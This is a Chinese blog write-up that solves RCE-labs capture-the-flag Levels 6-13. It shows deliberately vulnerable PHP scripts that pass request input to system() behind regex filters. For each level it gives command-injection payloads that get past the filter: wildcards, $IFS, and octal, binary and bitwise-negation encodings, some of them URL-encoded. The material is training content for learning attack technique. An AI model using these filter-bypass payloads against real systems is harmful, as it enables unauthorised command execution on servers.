RCE-labs（Level6-13）

原创 于 2025-09-25 17:01:48 发布 · 835 阅读 · 23 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全 #rce漏洞学习

最近在学习RCE，拿RCE-labs练练手，之前打了Level1-5，继续往后肝，个人感觉Level6-13难度不是很高，基本上用作者提供的工具就可以直接解决掉一半。

（都是本人把靶场打过一遍之后写的，有些知识点也是个人理解，如有错误欢迎指正）

之前本人写的RCE-Labs（Level1-5）练习链接：https://blog.csdn.net/Friday_quicker/article/details/150059026?spm=1001.2014.3001.5501

Level-6

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 挑战关 --- 
​
刚才，学了什么来着！？
​
*/
​
function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
​
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>

从上面的代码中可以看到当触发以上某些通配符时会触发waf阻断

分析哪些字符没有被阻断

a
0-9
?,或者还有一些特殊字符

以此来构造payload

?cmd=/???/?a? /??a?

输入flag，显示正确

Level-7

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 --- 
​
在遇到空格被过滤的情况下，通常使用 %09 也就是TAB的URL编码来绕过，在终端环境下 空格 被视为一个命令分隔符，本质上由 $IFS 变量控制，而 $IFS 的默认值是空格、制表符和换行符，所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
​
​
*/
​
function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
​
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>

从以上的代码可以知道/flag和空格不能直接输入，不然会被waf拦截

根据作者的提示，将空格用%09和$IFS替换，构造payload

?cmd=cat%09/f*

?cmd=cat$IFS/f*

提交flag显示正确

Level-8

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 --- 
​
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入，默认情况下，这恰好是你的终端。同样，一个命令通常将其输出写入到标准输出，默认情况下，这也是你的终端 —— 这些是命令有回显的基础。
​
如果希望执行某个命令，但又不希望在屏幕上显示输出结果，那么可以将输出重定向到 /dev/null：
$ command > /dev/null
​
/dev/null 是一个特殊的文件，写入到它的内容都会被丢弃；如果尝试从该文件读取内容，那么什么也读不到。但是 /dev/null 文件非常有用，将命令的输出重定向到它，会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr，可以这样写：
$ command > /dev/null 2>&1
​
*/
​
function hello_shell($cmd){
    /*>/dev/null 将不会有任何回显，但会回显错误，加上 2>&1 后连错误也会被屏蔽掉*/
    system($cmd.">/dev/null 2>&1");
}
​
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>

从上面的代码中可以看到输入的cmd命令会被重定向到/dev/null文件，会把回显内容和错误都屏蔽掉

方法一：

这样的话可以构造payload，来让执行的命令输出结果重定向到某个文件中，然后再打开文件查看

第一步：
/?cmd=cat /flag >1.txt;
​
第二步：（直接访问创建的文件）
/1.txt

方法二：

其实还有个更简单的方法，因为代码中显示是输入的cmd中的命令会被重定向到/dev/null中，所以直接在重定向前插入一个截断符，做一个截断就可以了

构造payload

?cmd=cat /flag;

提交flag后显示正确

Level-9

先看一下题目要求

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
​
题目已经拥有成熟脚本：https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成：https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
​
从该关卡开始你会发现我们在Dockerfile中添加了一行改动：
​
RUN ln -sf /bin/bash /bin/sh
​
这是由于在PHP中，system是执行sh的，sh通常只是一个软连接，并不是真的有一个shell叫sh。在debian系操作系统中，sh指向dash；在centos系操作系统中，sh指向bash，我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ，要验证这一点，你可以对 /bin/sh 使用 ls -l 命令查看，在这个容器中，你会得到下面的回显：
bash-5.1# ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Mar 16  2022 /bin/sh -> /bin/busybox
​
我们需要用到的特性只有bash才支持，请记住这一点，这也是我们手动修改指向的原因。
​
在这个关卡主要利用的是在终端中，$'\xxx'可以将八进制ascii码解析为字符，仅基于这个特性，我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式，但是注意，这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
​
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
​
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r--    1 www-data www-data       829 Aug 14 19:39 index.php
​
*/
​
function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
​
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>

从上面代码中可以看到，数字1-9没有被拦截

就可以根据上面作者提示的思路，可以利用终端将八进制ascii码解析为字符的特点，将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式

利用题目提供的在线脚本直接将cat /flag转换成有效payload

在线脚本链接：BashFuck Payload Generator（可以收藏一下，后面的题目都用到了）

因为终端中没有空格，没有办法执行带参数的命令所以构造的payload如下

cmd=$'\143\141\164' $'\57\146\154\141\147'

输入flag，解决

Level-10

先看一下题目信息

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 --- 
​
题目已经拥有成熟脚本：https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成：https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
​
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
​
*/
​
function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
​
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>

从代码中可以看到，虽然阻断了很多的数字和符号，但是1,0,$,'并没有阻断，然后再根据作者的提示，可以有一个构造二进制绕过waf的思路

还是直接用在线脚本生成一个payload

$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

后面查了资料以后发现，转换成二进制与八进制不同，

八进制中间要有空格隔开，二进制中间反而不用

这样的话，上面的payload是可以用的，但是还要考虑#这个符号的特性，在URL中，# 表示锚点（Anchor），它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分

所以可以直接转换成url编码格式来进行命令执行，转换后payload如下

?cmd=%24%30%3c%3c%3c%24%30%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%31%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%31%30%30%31%30%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%31%30%30%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%31%31%30%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%30%30%31%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%31%30%31%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%30%30%31%31%29%29%5c%27

输入flag值，显示正确

Level-11

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 --- 
​
题目已经拥有成熟脚本：https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成：https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
​
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1 
​
*/
​
function hello_shell($cmd){
    if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
​
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>

从代码以及提示中可以看到，有0,{},#,$,<,\这类还没有被拦截，以及cmd用post传参

以下是用工具生成的payload

$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

利用post发送cmd命令后，成功显示出flag

Level-12

我目前使用的靶场中，这个题目有点问题，先跳过吧

Level-13

 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com
​
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 --- 
​
题目已经拥有成熟脚本：https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成：https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
​
本关卡的考点为 $(()) + 取反 构造任意数字
​
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
​
*/
​
function hello_shell($cmd){
    if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
​
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
​
highlight_file(__FILE__);
​
​
?>
​

从上面的代码中可以看到，一个新的知识点，取反绕过

echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2

直接利用作者给的工具，生成有效载荷

__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

试试这个payload能不能成功，传参的时候发现，&&会对结果有影响

url编码一下再传参

%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27

其实RCE-LAB(Level6-13)很早就写完了，但是忘记了发，后面的Level14-18也在很久之前就肝完了，之后有空的时候会发，后面的level相交前面的会稍微难一些。

RCE以及Upload -lab的小心得
qq_42739469的博客
11-05 298
为了更好地使用代码的重用性，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码，简单点来说就是一个文件里面包含另外一个或多个文件。
HelloCTF [RCE-labs] Level 0 - 代码执行&命令执行
weixin_73049307的博客
10-28 697
任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力，这是一个广泛的概念，它涵盖了任何类型的代码运行过程，不仅包括系统层面的脚本或程序，也包括应用程序内部的函数或方法调用。这些命令最终的指向通常是系统命令，如Windows中的CMD命令或Linux中的Shell命令，这在语言中可以体现为一些特定的函数或者方法调用，如PHP中的shell_exec()函数或Python中的os.system()函数。
HelloCTF [RCE-labs] Level 6 - 通配符匹配绕过
weixin_73049307的博客
10-28 466
使用 /bin/base64 /flag。可以尝试在Linux终端中做下面的几个实验，使用echo方法输出?#使用 /bin/cat /flag。b-zA-Z 过滤b到Z范围内的任何单个字符。:{}\-\+<>\"| 匹配这些符号之一。（这里我重开了靶场，所以flag不一样）\[\] 匹配这些符号之一。也一样能拿到flag。
rce-labs Level 2
RanQ的博客
05-08 303
选中1部分：他说了发送?action=r ,就重置选中的函数，也就是说我每发一个包就会选择一个他list里面的一个函数，那么我们测试一下。选中2部分：他的大概意思就是，我们发送post请求，且请求url为?action=submin,他就会执行相当于一句话木马的操作，但是得选中eval函数，那么现在选中eval函数及为关键，流程：因为他上述代码是随机选择list里的函数，所以我们只需要一直发get请求的?action=r,重置函数到eval，再执行post请求操作。
打靶日记-RCE-labs
wyjcxyyy的博客
07-30 999
靶场题目来自青少年ctf。
HelloCTF [RCE-labs] Level 3 - 命令执行
weixin_73049307的博客
10-28 349
这关代码跟level 1的区别是eval($_POST['a']);变成了system($_POST['a']);system() 函数会通过软连接执行你输入的系统命令。POST传参：a=cat /flag。
HelloCTF [RCE-labs] Level 7 - 空格过滤
weixin_73049307的博客
10-29 341
空格则选择< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS之一进行替代即可。（不知道为什么这题%20(space)、%09(tab)不可以替代空格）由level 5得知flag可以用fl$*ag进行替代。GET传参cmd，对flag字符串和空格进行了过滤。
[Hello-CTF]RCE-Labs超详细WP-Level 6
qq_39673370的博客
03-09 767
通配符的限制
HelloCTF [RCE-labs] Level 4 - SHELL 运算符
weixin_73049307的博客
10-28 272
源码很简单，system("ping -c 1 $ip");
[Hello-CTF]RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)
qq_39673370的博客
03-12 1339
无字母命令执行_二进制整数替换
[RCE-labs] Level 3
01-19
### RCE-Labs Level 3 概述 RCE-Labs 是一系列针对 SQL 注入漏洞利用的教学平台，旨在帮助安全研究人员理解和掌握如何通过SQL注入实现远程代码执行 (Remote Code Execution, RCE)[^1]。Level 3 特别关注于绕过某些...
Web安全实践靶场系统-RCE
weixin_54704073的博客
05-22 1613
且file7.php返回了报错，通过这个报错，可以知道fi_local.php中用来进行文件包含的函数是include()，并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。开始去查找警告存在的问题，从警告中可以看到说是 php.ini 文件中的allow_url_include 没有打开，找到警告中说的文件php.ini。修改完之后，将小皮的套件重启。尝试写入一句话木马，格式为txt文本，前面讲到不能包含同后缀的文件，是把其他类型的文件当成 php 解析。
xss-labs通关攻略教程（level1~level 10）
2401_84091580的博客
04-13 1028
你要问前端开发难不难，我就得说计算机领域里常说的一句话，这句话就是『难的不会，会的不难』，对于不熟悉某领域技术的人来说，因为不了解所以产生神秘感，神秘感就会让人感觉很难，也就是『难的不会』；当学会这项技术之后，知道什么什么技术能做到什么做不到，只是做起来花多少时间的问题而已，没啥难的，所以就是『会的不难』。我特地针对初学者整理一套前端学习资料分享给大家，戳这里即可领取厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**如果你觉得这些内容对你有帮助，可以扫码获取！！（备注：前端）
WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘
weixin_45534587的博客
02-09 1058
RCE，全称 Remote Code Execution，也就是远程代码执行。简单来说，它是一种非常危险的安全漏洞。正常情况下，我们访问一个网站或者使用某个应用程序，只能按照开发者设定好的功能来操作。但要是存在 RCE 漏洞，攻击者就能打破这种限制，在目标服务器上执行他们自己编写的代码。
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8799
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
pcbu-desktop-2.2.0.zip
10-21
PCBioUnlock是一款创新的跨平台工具，允许用户通过Android手机的生物识别功能解锁Windows或Linux电脑。
stress in Strain Hardening Cementitious Composites based on beam theo.pdf
10-21
A new model for calculating inclined single fiber bridging stress in Strain Hardening Cementitious Composites based on beam theo
智慧养老基于Java与微信小程序的老年认知阅读平台设计：适老化交互与智能推荐系统实现 项目介绍 基于java的微信小程序老人认知阅读交流平台设计与实现的详细项目实例（含模型描述及部分示例代码）
最新发布
10-21
内容概要：本文详细介绍了一个基于Java的微信小程序老人认知阅读交流平台的设计与实现。项目聚焦于解决老年人在数字化阅读和社交互动中面临的困难，通过适老化界面设计、智能内容推荐、认知训练模块、社交功能及数据安全保护等核心技术，构建一个易用、安全、温馨的数字化平台。系统采用微信小程序前端与Java后端（Spring Boot）相结合的技术架构，实现用户管理、内容分发、消息交互、个性化推荐和健康管理等功能，并强调数据加密、隐私保护和高可用性设计，全面提升老年用户的数字阅读体验与生活质量。; 适合人群：具备一定Java开发基础的软件工程师、移动应用开发者，以及关注智慧养老、适老化产品设计的产品经理和技术人员；适合高校计算机相关专业学生进行毕业设计或项目实践。; 使用场景及目标：①开发面向老年人的适老化小程序应用；②实现个性化内容推荐与认知辅助功能；③构建安全可靠的社交与阅读平台；④探索智慧养老领域的技术落地与社会价值。; 阅读建议：此资源包含完整的模型描述与部分示例代码，建议结合实际开发环境进行代码调试与功能扩展，重点关注前后端交互、安全机制与用户体验优化，同时参考项目中的挑战与解决方案以提升系统健壮性与实用性。
撒发发反反复复反反复复付规定的点点滴滴
10-21
撒发发反反复复反反复复付规定的点点滴滴
rce-labs 靶场 grep
10-17
### 使用方法 在rce - labs靶场中，grep是一个强大的文本搜索工具，基本语法为 `grep [选项] 模式 文件名`。以下是一些常见选项及用法： - `-i`：忽略大小写进行搜索。例如，要在文件`test.txt`中不区分大小写地搜索`hello`，可以使用命令 `grep -i "hello" test.txt`。 - `-r`：递归搜索指定目录下的所有文件。若要在当前目录及其子目录下搜索包含`error`的文件，可使用 `grep -r "error" .` ，其中 `.` 表示当前目录。 - `-n`：显示匹配行的行号。如 `grep -n "password" config.ini` 会显示`config.ini`文件中包含`password`的行以及对应的行号。 ### 案例 假设在rce - labs靶场中有一个日志文件`access.log`，需要找出所有包含`404`错误的请求记录。可以使用命令 `grep "404" access.log`。若日志文件分布在不同的子目录中，则使用递归搜索 `grep -r "404" /var/log/rce-labs/` 来查找所有相关的`404`错误记录。 ### 应用场景 - **漏洞排查**：在靶场中模拟攻击和防御时，通过grep搜索日志文件，查找可能的攻击迹象，如异常的请求、错误代码等。例如，搜索包含`SQL injection`关键字的日志记录，以检测是否存在SQL注入攻击尝试。 - **配置文件检查**：检查靶场环境的配置文件，确保配置符合安全要求。如搜索配置文件中是否存在不安全的默认密码设置，使用 `grep "password" /etc/rce-labs/config.conf`。 - **代码审计**：在靶场的代码文件中查找特定的函数调用或关键字，以发现潜在的漏洞。例如，搜索代码文件中是否存在未过滤用户输入的函数调用，使用 `grep -r "eval(" /var/www/rce-labs/`。 ```bash # 查找access.log中包含404的记录 grep "404" access.log # 递归查找/var/log/rce-labs/目录下包含404的记录 grep -r "404" /var/log/rce-labs/ # 查找config.conf中包含password的行并显示行号 grep -n "password" /etc/rce-labs/config.conf # 递归查找/var/www/rce-labs/目录下包含eval(的代码行 grep -r "eval(" /var/www/rce-labs/ ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值